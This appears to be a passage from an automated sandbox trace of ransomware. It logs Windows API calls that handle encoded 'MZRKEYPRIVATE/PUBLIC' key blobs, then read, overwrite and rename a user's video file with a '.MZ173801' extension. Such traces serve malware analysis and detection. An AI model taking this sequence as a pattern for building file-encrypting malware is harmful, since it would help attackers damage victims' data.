KaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0164.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0164.194] GetCurrentThreadId () returned 0xab4 [0164.194] GetCurrentThreadId () returned 0xab4 [0164.194] GetCurrentThreadId () returned 0xab4 [0164.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0164.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0164.195] GetCurrentThreadId () returned 0xab4 [0164.195] GetCurrentThreadId () returned 0xab4 [0164.195] GetCurrentThreadId () returned 0xab4 [0164.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\fypik.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.195] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0164.195] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.195] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x7f09 [0164.195] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.195] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x7f09, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x7f09, lpOverlapped=0x0) returned 1 [0164.196] CloseHandle (hObject=0x278) returned 1 [0164.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\fypik.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.198] WriteFile (in: hFile=0x278, lpBuffer=0x24a8040*, nNumberOfBytesToWrite=0x7f09, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a8040*, lpNumberOfBytesWritten=0x19fa24*=0x7f09, lpOverlapped=0x0) returned 1 [0164.199] CloseHandle (hObject=0x278) returned 1 [0164.201] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\fypik.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\fYpIk.mp4.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\fypik.mp4.mz173801")) returned 1 [0164.201] GetCurrentThreadId () returned 0xab4 [0164.201] GetCurrentThreadId () returned 0xab4 [0164.201] GetCurrentThreadId () returned 0xab4 [0164.201] GetCurrentThreadId () returned 0xab4 [0164.201] GetCurrentThreadId () returned 0xab4 [0164.201] GetCurrentThreadId () returned 0xab4 [0164.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e5ff30, ftCreationTime.dwHighDateTime=0x1d5ea1e, ftLastAccessTime.dwLowDateTime=0x35f424b0, ftLastAccessTime.dwHighDateTime=0x1d5e65c, ftLastWriteTime.dwLowDateTime=0x35f424b0, ftLastWriteTime.dwHighDateTime=0x1d5e65c, nFileSizeHigh=0x0, nFileSizeLow=0x21ce, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Io wk8vMTXy-go.swf", cAlternateFileName="IOWK8V~1.SWF")) returned 1 [0164.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf" (normalized: "c:\\users\\fd1hvy\\videos\\io wk8vmtxy-go.swf"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e5ff30, ftCreationTime.dwHighDateTime=0x1d5ea1e, ftLastAccessTime.dwLowDateTime=0x35f424b0, ftLastAccessTime.dwHighDateTime=0x1d5e65c, ftLastWriteTime.dwLowDateTime=0x35f424b0, ftLastWriteTime.dwHighDateTime=0x1d5e65c, nFileSizeHigh=0x0, nFileSizeLow=0x21ce)) returned 1 [0164.201] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf" (normalized: "c:\\users\\fd1hvy\\videos\\io wk8vmtxy-go.swf")) returned 0x20 [0164.202] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Io wk8vMTXy-go.swf", dwFileAttributes=0x80) returned 1 [0164.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0164.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDp